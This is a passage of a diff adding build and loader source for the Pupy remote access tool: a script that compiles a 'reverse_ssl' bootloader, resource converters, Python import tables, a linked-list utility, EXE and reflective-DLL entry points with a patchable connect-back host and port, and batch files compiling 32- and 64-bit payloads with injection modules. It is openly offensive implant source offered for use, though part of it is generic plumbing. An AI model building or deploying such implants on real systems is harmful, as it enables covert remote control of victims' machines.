|
||||
with open(os.path.join("..","reverse_ssl.py")) as f:
|
||||
code=f.read()
|
||||
code_bytes.append(compile(code+"\n", "<string>", "exec"))
|
||||
code_bytes=marshal.dumps(code_bytes)
|
||||
with open(os.path.join("resources","bootloader.pyc"),'wb') as w:
|
||||
w.write(code_bytes)
|
||||
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
import sys
|
||||
import binascii
|
||||
|
||||
MAX_CHAR_PER_LINE=50
|
||||
|
||||
if __name__=="__main__":
|
||||
h_file=""
|
||||
file_bytes=b""
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
file_bytes=f.read()
|
||||
h_file += "int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(file_bytes))
|
||||
h_file += "\nchar %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")
|
||||
current_size=0
|
||||
|
||||
for c in file_bytes:
|
||||
h_file+="'\\x%s',"%binascii.hexlify(c)
|
||||
current_size+=1
|
||||
if current_size>MAX_CHAR_PER_LINE:
|
||||
current_size=0
|
||||
h_file+="\n"
|
||||
|
||||
h_file += "'\\x00' };\n"
|
||||
|
||||
with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w:
|
||||
w.write(h_file)
|
||||
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
{ "Py_Initialize", NULL },
|
||||
{ "PyRun_SimpleString", NULL },
|
||||
{ "Py_Finalize", NULL },
|
||||
{ "Py_GetPath", NULL },
|
||||
{ "Py_SetPythonHome", NULL },
|
||||
{ "Py_SetProgramName", NULL },
|
||||
{ "PyMarshal_ReadObjectFromString", NULL },
|
||||
{ "PyObject_CallFunction", NULL },
|
||||
{ "PyString_AsStringAndSize", NULL },
|
||||
{ "PyString_AsString", NULL },
|
||||
{ "PyArg_ParseTuple", NULL },
|
||||
{ "PyErr_Format", NULL },
|
||||
{ "PyImport_ImportModule", NULL },
|
||||
{ "PyInt_FromLong", NULL },
|
||||
{ "PyInt_AsLong", NULL },
|
||||
{ "PyLong_FromVoidPtr", NULL },
|
||||
#ifdef _DEBUG
|
||||
{ "Py_InitModule4TraceRefs", NULL },
|
||||
#else
|
||||
# if defined (_WIN64)
|
||||
{ "Py_InitModule4_64", NULL },
|
||||
# else
|
||||
{ "Py_InitModule4", NULL },
|
||||
# endif
|
||||
#endif
|
||||
{ "PyTuple_New", NULL },
|
||||
{ "PyTuple_SetItem", NULL },
|
||||
{ "Py_IsInitialized", NULL },
|
||||
{ "PyObject_SetAttrString", NULL },
|
||||
{ "PyCFunction_NewEx", NULL },
|
||||
{ "PyObject_GetAttrString", NULL },
|
||||
{ "Py_BuildValue", NULL },
|
||||
{ "PyObject_Call", NULL },
|
||||
{ "PySys_WriteStderr", NULL },
|
||||
{ "PyErr_Occurred", NULL },
|
||||
{ "PyErr_Clear", NULL },
|
||||
{ "PyObject_IsInstance", NULL },
|
||||
{ "PyInt_Type", NULL },
|
||||
{ "_Py_NoneStruct", NULL },
|
||||
{ "PyExc_ImportError", NULL },
|
||||
{ "PyExc_Exception", NULL },
|
||||
{ "_Py_PackageContext", NULL },
|
||||
{ "PyGILState_Ensure", NULL },
|
||||
{ "PyGILState_Release", NULL },
|
||||
{ "PySys_SetObject", NULL },
|
||||
{ "PySys_GetObject", NULL },
|
||||
{ "PyString_FromString", NULL },
|
||||
{ "Py_FdIsInteractive", NULL },
|
||||
{ "PyRun_InteractiveLoop", NULL },
|
||||
{ "PySys_SetArgv", NULL },
|
||||
{ "PyImport_AddModule", NULL },
|
||||
{ "PyModule_GetDict", NULL },
|
||||
{ "PySequence_Length", NULL },
|
||||
{ "PySequence_GetItem", NULL },
|
||||
{ "PyEval_EvalCode", NULL },
|
||||
{ "PyErr_Print", NULL },
|
||||
{ "PyBool_FromLong", NULL },
|
||||
{ "Py_VerboseFlag", NULL },
|
||||
{ "Py_NoSiteFlag", NULL },
|
||||
{ "Py_OptimizeFlag", NULL },
|
||||
{ "Py_IgnoreEnvironmentFlag", NULL },
|
||||
{ "PyObject_Str", NULL },
|
||||
{ "PyList_New", NULL },
|
||||
{ "PyList_SetItem", NULL },
|
||||
{ "PyList_Append", NULL },
|
||||
{ "PyThreadState_GetDict", NULL },
|
||||
{ "PyObject_IsTrue", NULL },
|
||||
{ "PyErr_SetString", NULL },
|
||||
{ "PyEval_InitThreads", NULL },
|
|
@ -0,0 +1,61 @@
|
|||
#define Py_Initialize ((void(*)(void))imports[0].proc)
|
||||
#define PyRun_SimpleString ((int(*)(char *))imports[1].proc)
|
||||
#define Py_Finalize ((void(*)(void))imports[2].proc)
|
||||
#define Py_GetPath ((char *(*)(void))imports[3].proc)
|
||||
#define Py_SetPythonHome ((void(*)(char *))imports[4].proc)
|
||||
#define Py_SetProgramName ((void(*)(char *))imports[5].proc)
|
||||
#define PyMarshal_ReadObjectFromString ((PyObject *(*)(char *, Py_ssize_t))imports[6].proc)
|
||||
#define PyObject_CallFunction ((PyObject *(*)(PyObject *, char *, ...))imports[7].proc)
|
||||
#define PyString_AsStringAndSize ((int(*)(PyObject *, char **, Py_ssize_t *))imports[8].proc)
|
||||
#define PyString_AsString ((char *(*)(PyObject *))imports[9].proc)
|
||||
#define PyArg_ParseTuple ((int(*)(PyObject *, char *, ...))imports[10].proc)
|
||||
#define PyErr_Format ((PyObject *(*)(PyObject *, const char *, ...))imports[11].proc)
|
||||
#define PyImport_ImportModule ((PyObject *(*)(char *))imports[12].proc)
|
||||
#define PyInt_FromLong ((PyObject *(*)(long))imports[13].proc)
|
||||
#define PyInt_AsLong ((long(*)(PyObject *))imports[14].proc)
|
||||
#define PyLong_FromVoidPtr ((PyObject *(*)(void *))imports[15].proc)
|
||||
#define Py_InitModule4 ((PyObject *(*)(char *, PyMethodDef *, char *, PyObject *, int))imports[16].proc)
|
||||
#define PyTuple_New ((PyObject *(*)(Py_ssize_t))imports[17].proc)
|
||||
#define PyTuple_SetItem ((int(*)(PyObject*, Py_ssize_t, PyObject *))imports[18].proc)
|
||||
#define Py_IsInitialized ((int(*)(void))imports[19].proc)
|
||||
#define PyObject_SetAttrString ((int(*)(PyObject *, char *, PyObject *))imports[20].proc)
|
||||
#define PyCFunction_NewEx ((PyObject *(*)(PyMethodDef *, PyObject *, PyObject *))imports[21].proc)
|
||||
#define PyObject_GetAttrString ((PyObject *(*)(PyObject *, char *))imports[22].proc)
|
||||
#define Py_BuildValue ((PyObject *(*)(char *, ...))imports[23].proc)
|
||||
#define PyObject_Call ((PyObject *(*)(PyObject *, PyObject *, PyObject *))imports[24].proc)
|
||||
#define PySys_WriteStderr ((void(*)(const char *, ...))imports[25].proc)
|
||||
#define PyErr_Occurred ((PyObject *(*)(void))imports[26].proc)
|
||||
#define PyErr_Clear ((void(*)(void))imports[27].proc)
|
||||
#define PyObject_IsInstance ((int(*)(PyObject *, PyObject *))imports[28].proc)
|
||||
#define PyInt_Type (*(PyObject(*))imports[29].proc)
|
||||
#define _Py_NoneStruct (*(PyObject(*))imports[30].proc)
|
||||
#define PyExc_ImportError (*(PyObject *(*))imports[31].proc)
|
||||
#define PyExc_Exception (*(PyObject *(*))imports[32].proc)
|
||||
#define _Py_PackageContext (*(char *(*))imports[33].proc)
|
||||
#define PyGILState_Ensure ((PyGILState_STATE(*)(void))imports[34].proc)
|
||||
#define PyGILState_Release ((void(*)(PyGILState_STATE))imports[35].proc)
|
||||
#define PySys_SetObject ((void(*)(char *, PyObject *))imports[36].proc)
|
||||
#define PySys_GetObject ((PyObject *(*)(char *))imports[37].proc)
|
||||
#define PyString_FromString ((PyObject *(*)(char *))imports[38].proc)
|
||||
#define Py_FdIsInteractive ((int(*)(FILE *, char *))imports[39].proc)
|
||||
#define PyRun_InteractiveLoop ((int(*)(FILE *, char *))imports[40].proc)
|
||||
#define PySys_SetArgv ((void(*)(int, char **))imports[41].proc)
|
||||
#define PyImport_AddModule ((PyObject *(*)(char *))imports[42].proc)
|
||||
#define PyModule_GetDict ((PyObject *(*)(PyObject *))imports[43].proc)
|
||||
#define PySequence_Length ((Py_ssize_t(*)(PyObject *))imports[44].proc)
|
||||
#define PySequence_GetItem ((PyObject *(*)(PyObject *, Py_ssize_t))imports[45].proc)
|
||||
#define PyEval_EvalCode ((PyObject *(*)(PyCodeObject *, PyObject *, PyObject *))imports[46].proc)
|
||||
#define PyErr_Print ((void(*)(void))imports[47].proc)
|
||||
#define PyBool_FromLong ((PyObject *(*)(long))imports[48].proc)
|
||||
#define Py_VerboseFlag (*(int(*))imports[49].proc)
|
||||
#define Py_NoSiteFlag (*(int(*))imports[50].proc)
|
||||
#define Py_OptimizeFlag (*(int(*))imports[51].proc)
|
||||
#define Py_IgnoreEnvironmentFlag (*(int(*))imports[52].proc)
|
||||
#define PyObject_Str ((PyObject *(*)(PyObject *))imports[53].proc)
|
||||
#define PyList_New ((PyObject *(*)(Py_ssize_t))imports[54].proc)
|
||||
#define PyList_SetItem ((int(*)(PyObject *, Py_ssize_t, PyObject *))imports[55].proc)
|
||||
#define PyList_Append ((int(*)(PyObject *, PyObject *))imports[56].proc)
|
||||
#define PyThreadState_GetDict ((PyObject *(*)(void))imports[57].proc)
|
||||
#define PyObject_IsTrue ((int(*)(PyObject *))imports[58].proc)
|
||||
#define PyErr_SetString ((void(*)(PyObject *, const char *))imports[59].proc)
|
||||
#define PyEval_InitThreads ((void(*)(void))imports[60].proc)
|
|
@ -0,0 +1,429 @@
|
|||
/*!
|
||||
* @file list.c
|
||||
* @brief Definitions for functions that operate on lists.
|
||||
* @details An implementation of a simple thread safe double linked list structure. Can be used as either
|
||||
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
|
||||
* performing a group of actions on a list based on results from list actions, acquire the list
|
||||
* lock before the group of actions and release lock when done.
|
||||
*/
|
||||
//#include "common.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
#include "thread.h"
|
||||
#include "list.h"
|
||||
|
||||
/*!
|
||||
* @brief Create a thread-safe double linked list.
|
||||
* @returns A new instance of a linked list.
|
||||
* @retval NULL Indicates a memory allocation failure.
|
||||
*/
|
||||
PLIST list_create(VOID)
|
||||
{
|
||||
PLIST pList = (PLIST)malloc(sizeof(LIST));
|
||||
|
||||
if (pList != NULL)
|
||||
{
|
||||
pList->start = NULL;
|
||||
pList->end = NULL;
|
||||
pList->count = 0;
|
||||
pList->lock = lock_create();
|
||||
|
||||
if (pList->lock == NULL)
|
||||
{
|
||||
list_destroy(pList);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
return pList;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Destroy an existing linked list.
|
||||
* @details This destroys all nodes and the list itself but not the data held in the
|
||||
* linked list. This is the responsibility of the caller to destroy.
|
||||
* @param list The \c LIST instance to destroy.
|
||||
*/
|
||||
VOID list_destroy(PLIST pList)
|
||||
{
|
||||
PNODE current_node;
|
||||
PNODE next_node;
|
||||
|
||||
if (pList != NULL)
|
||||
{
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
current_node = pList->start;
|
||||
|
||||
while (current_node != NULL)
|
||||
{
|
||||
next_node = current_node->next;
|
||||
|
||||
current_node->next = NULL;
|
||||
|
||||
current_node->prev = NULL;
|
||||
|
||||
free(current_node);
|
||||
|
||||
current_node = next_node;
|
||||
}
|
||||
|
||||
pList->count = 0;
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
lock_destroy(pList->lock);
|
||||
|
||||
free(pList);
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the number of items in the list.
|
||||
* @param pList The \c LIST to get a count of.
|
||||
* @returns The number of elements in the list.
|
||||
* @remark If using this coung value to itterate through the list with `list_get`, acquire
|
||||
* the lists lock before the `list_count/list_get` block and release it afterwards.
|
||||
*/
|
||||
DWORD list_count(PLIST pList)
|
||||
{
|
||||
DWORD count = 0;
|
||||
|
||||
if (pList != NULL)
|
||||
{
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
count = pList->count;
|
||||
|
||||
lock_release(pList->lock);
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the data value held in the list and a specified index.
|
||||
* @param pList Pointer to the \c LIST to get the element from.
|
||||
* @param index Index of the element to get;
|
||||
* @returns Pointer to the item in the list.
|
||||
* @retval NULL Indicates the element doesn't exist in the list.
|
||||
* @remark This will perform a linear search from the beginning of the list.
|
||||
*/
|
||||
LPVOID list_get(PLIST pList, DWORD index)
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
PNODE current_node = NULL;
|
||||
|
||||
if (pList == NULL)
|
||||
return NULL;
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
if (pList->count <= index)
|
||||
{
|
||||
lock_release(pList->lock);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
current_node = pList->start;
|
||||
|
||||
while (current_node != NULL)
|
||||
{
|
||||
if (index == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
current_node = current_node->next;
|
||||
|
||||
index--;
|
||||
}
|
||||
|
||||
if (current_node != NULL)
|
||||
{
|
||||
data = current_node->data;
|
||||
}
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Add a data item onto the end of the list.
|
||||
* @param pList Pointer to the \c LIST to add the item to.
|
||||
* @param data The data that is to be added to the list.
|
||||
* @returns Indication of success or failure.
|
||||
* @sa list_push
|
||||
*/
|
||||
BOOL list_add(PLIST pList, LPVOID data)
|
||||
{
|
||||
return list_push(pList, data);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Internal function to remove a node from a list.
|
||||
* @param pList Pointer to the \c LIST containing \c node.
|
||||
* @param pNode Pointer to the \c NOTE to remove.
|
||||
* @returns Indication of success or failure.
|
||||
* @remark Assumes caller has aquired the appropriate lock first.
|
||||
*/
|
||||
BOOL list_remove_node(PLIST pList, PNODE pNode)
|
||||
{
|
||||
if (pList == NULL || pNode == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (pList->count - 1 == 0)
|
||||
{
|
||||
pList->start = NULL;
|
||||
pList->end = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (pList->start == pNode)
|
||||
{
|
||||
pList->start = pList->start->next;
|
||||
pList->start->prev = NULL;
|
||||
}
|
||||
else if (pList->end == pNode)
|
||||
{
|
||||
pList->end = pList->end->prev;
|
||||
pList->end->next = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
pNode->next->prev = pNode->prev;
|
||||
pNode->prev->next = pNode->next;
|
||||
}
|
||||
}
|
||||
|
||||
pList->count -= 1;
|
||||
|
||||
pNode->next = NULL;
|
||||
|
||||
pNode->prev = NULL;
|
||||
|
||||
free(pNode);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Remove a given data item from the list.
|
||||
* @param pList Pointer to the \c LIST to remove the item from.
|
||||
* @param data The data that is to be removed from the list.
|
||||
* @remark Assumes data items are unqique as only the first occurrence is removed.
|
||||
* @returns Indication of success or failure.
|
||||
* @sa list_remove_node
|
||||
*/
|
||||
BOOL list_remove(PLIST pList, LPVOID data)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
PNODE current_node = NULL;
|
||||
|
||||
if (pList == NULL || data == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
current_node = pList->start;
|
||||
|
||||
while (current_node != NULL)
|
||||
{
|
||||
if (current_node->data == data)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
current_node = current_node->next;
|
||||
}
|
||||
|
||||
result = list_remove_node(pList, current_node);
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Remove a list item at the specified index.
|
||||
* @param pList Pointer to the \c LIST to remove the item from.
|
||||
* @param index Index of the item to remove.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
BOOL list_delete(PLIST pList, DWORD index)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
LPVOID data = NULL;
|
||||
PNODE current_node = NULL;
|
||||
|
||||
if (pList == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
if (pList->count > index)
|
||||
{
|
||||
current_node = pList->start;
|
||||
|
||||
while (current_node != NULL)
|
||||
{
|
||||
if (index == 0)
|
||||
{
|
||||
result = list_remove_node(pList, current_node);
|
||||
break;
|
||||
}
|
||||
|
||||
current_node = current_node->next;
|
||||
|
||||
index--;
|
||||
}
|
||||
}
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Push a data item onto the end of the list.
|
||||
* @param pList Pointer to the \c LIST to append the data to.
|
||||
* @param data Pointer to the data to append.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
BOOL list_push(PLIST pList, LPVOID data)
|
||||
{
|
||||
PNODE pNode = NULL;
|
||||
|
||||
if (pList == NULL)
|
||||
return FALSE;
|
||||
|
||||
pNode = (PNODE)malloc(sizeof(NODE));
|
||||
if (pNode == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pNode->data = data;
|
||||
pNode->next = NULL;
|
||||
pNode->prev = NULL;
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
if (pList->end != NULL)
|
||||
{
|
||||
pList->end->next = pNode;
|
||||
|
||||
pNode->prev = pList->end;
|
||||
|
||||
pList->end = pNode;
|
||||
}
|
||||
else
|
||||
{
|
||||
pList->start = pNode;
|
||||
pList->end = pNode;
|
||||
}
|
||||
|
||||
pList->count += 1;
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Pop a data value off the end of the list.
|
||||
* @param pList Pointer to the \c LIST to pop the value from.
|
||||
* @returns The popped value.
|
||||
* @retval NULL Indicates no data in the list.
|
||||
*/
|
||||
LPVOID list_pop(PLIST pList)
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
|
||||
if (pList == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
if (pList->end != NULL)
|
||||
{
|
||||
data = pList->end->data;
|
||||
|
||||
list_remove_node(pList, pList->end);
|
||||
}
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Pop a data value off the start of the list.
|
||||
* @param pList Pointer to the \c LIST to shift the value from.
|
||||
* @returns The shifted value.
|
||||
* @retval NULL Indicates no data in the list.
|
||||
*/
|
||||
LPVOID list_shift(PLIST pList)
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
|
||||
if (pList == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
if (pList->start != NULL)
|
||||
{
|
||||
data = pList->start->data;
|
||||
|
||||
list_remove_node(pList, pList->start);
|
||||
}
|
||||
|
||||
lock_release(pList->lock);
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Iterate over the list and call a function callback on each element.
|
||||
* @param pList Pointer to the \c LIST to enumerate.
|
||||
* @param pCallback Callback function to invoke for each element in the list.
|
||||
* @param pState Pointer to the state to pass with each function call.
|
||||
*/
|
||||
BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState)
|
||||
{
|
||||
PNODE pCurrent;
|
||||
BOOL bResult;
|
||||
if (pList == NULL || pCallback == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire(pList->lock);
|
||||
|
||||
|
||||
pCurrent=pList->start;
|
||||
bResult = FALSE;
|
||||
|
||||
while (pCurrent != NULL)
|
||||
{
|
||||
bResult = pCallback(pState, pCurrent->data) || bResult;
|
||||
pCurrent = pCurrent->next;
|
||||
}
|
||||
|
||||
lock_release(pList->lock);
|
||||
return bResult;
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
/*!
|
||||
* @file list.h
|
||||
* @brief Declarations for functions that operate on lists.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_LIST_H
|
||||
#define _METERPRETER_LIB_LIST_H
|
||||
|
||||
/*! @brief Container struct for data the lives in a list. */
|
||||
typedef struct _NODE
|
||||
{
|
||||
struct _NODE * next; ///< Pointer to the next node in the list.
|
||||
struct _NODE * prev; ///< Pointer to the previous node in the list.
|
||||
LPVOID data; ///< Reference to the data in the list node.
|
||||
} NODE, *PNODE;
|
||||
|
||||
/*! @brief Container structure for a list instance. */
|
||||
typedef struct _LIST
|
||||
{
|
||||
NODE * start; ///< Pointer to the first node in the list.
|
||||
NODE * end; ///< Pointer to the last node in the list.
|
||||
DWORD count; ///< Count of elements in the list.
|
||||
LOCK * lock; ///< Reference to the list's synchronisation lock.
|
||||
} LIST, *PLIST;
|
||||
|
||||
typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData);
|
||||
|
||||
LIST * list_create(VOID);
|
||||
VOID list_destroy(PLIST pList);
|
||||
DWORD list_count(PLIST pList);
|
||||
LPVOID list_get(PLIST pList, DWORD index);
|
||||
BOOL list_add(PLIST pList, LPVOID data);
|
||||
BOOL list_remove(PLIST pList, LPVOID data);
|
||||
BOOL list_delete(PLIST pList, DWORD index);
|
||||
BOOL list_push(PLIST pList, LPVOID data);
|
||||
LPVOID list_pop(PLIST pList);
|
||||
LPVOID list_shift(PLIST pList);
|
||||
BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,22 @@
|
|||
#include <windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "pupy_load.h"
|
||||
|
||||
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
|
||||
|
||||
|
||||
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
|
||||
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
|
||||
int main(int argc, char *argv[]){
|
||||
if (argc==2){
|
||||
memcpy(connect_back_host, argv[1], strlen(argv[1])+1);
|
||||
}
|
||||
if(strcmp(connect_back_host,"<default_connect_back_host>:<default_connect_back_port>")==0){
|
||||
printf("usage: %s <host>:<port>",argv[0]);
|
||||
return 1;
|
||||
}
|
||||
return mainThread(NULL);
|
||||
}
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
/*
|
||||
* Author : Nicolas VERDIER
|
||||
*
|
||||
*/
|
||||
//#pragma comment(lib, "user32")
|
||||
|
||||
#include <windows.h>
|
||||
#include "pupy_load.h"
|
||||
#include "ReflectiveDllInjection.h"
|
||||
|
||||
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
|
||||
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
//===============================================================================================//
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
HANDLE hThread;
|
||||
DWORD threadId;
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
//MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION);
|
||||
hAppInstance = hinstDLL;
|
||||
hThread = CreateThread(NULL,
|
||||
0, // dwStackSize
|
||||
mainThread, // lpStartAddress
|
||||
NULL, // lpParameter
|
||||
0, // dwCreationFlags (0==run right after creation)
|
||||
&threadId
|
||||
);
|
||||
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
del *.obj
|
||||
del *.exp
|
||||
del pupyx86.exe
|
||||
del pupyx86.dll
|
||||
|
||||
::First: generate resources :
|
||||
copy resources\python27_x86.dll resources\python27.dll
|
||||
"C:\\Python27\\python.exe" gen_library_compressed_string.py
|
||||
copy resources\library_compressed_string_x86.txt resources\library_compressed_string.txt
|
||||
"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt
|
||||
"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll
|
||||
"C:\\Python27\\python.exe" gen_python_bootloader.py
|
||||
"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc
|
||||
::compile them to obj files :
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_library_compressed_string_txt.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_bootloader_pyc.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_python27_dll.c
|
||||
|
||||
::then compile
|
||||
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c Python-dynload.c /IC:\Python27\include
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MemoryModule.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c _memimporter.c /IC:\Python27\include
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy_load.c /DWIN_X86 /IC:\Python27\include
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X86 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c actctx.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy.c /IC:\Python27\include
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c LoadLibraryR.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c list.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c thread.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c remote_thread.c
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c base_inject.c /IC:\Python27\include
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.exe
|
||||
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.dll /LD
|
||||
copy pupyx86.dll ..\..\pupy\payloads\
|
||||
copy pupyx86.exe ..\..\pupy\payloads\
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
del *.obj
|
||||
del *.exp
|
||||
del pupyx64.exe
|
||||
del pupyx64.dll
|
||||
|
||||
::First: generate resources :
|
||||
"C:\\Python27\\python.exe" gen_library_compressed_string.py
|
||||
copy resources\library_compressed_string_x64.txt resources\library_compressed_string.txt
|
||||
"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt
|
||||
copy resources\python27_x64.dll resources\python27.dll
|
||||
"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll
|
||||
"C:\\Python27\\python.exe" gen_python_bootloader.py
|
||||
"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc
|
||||
::compile them to obj files :
|
||||
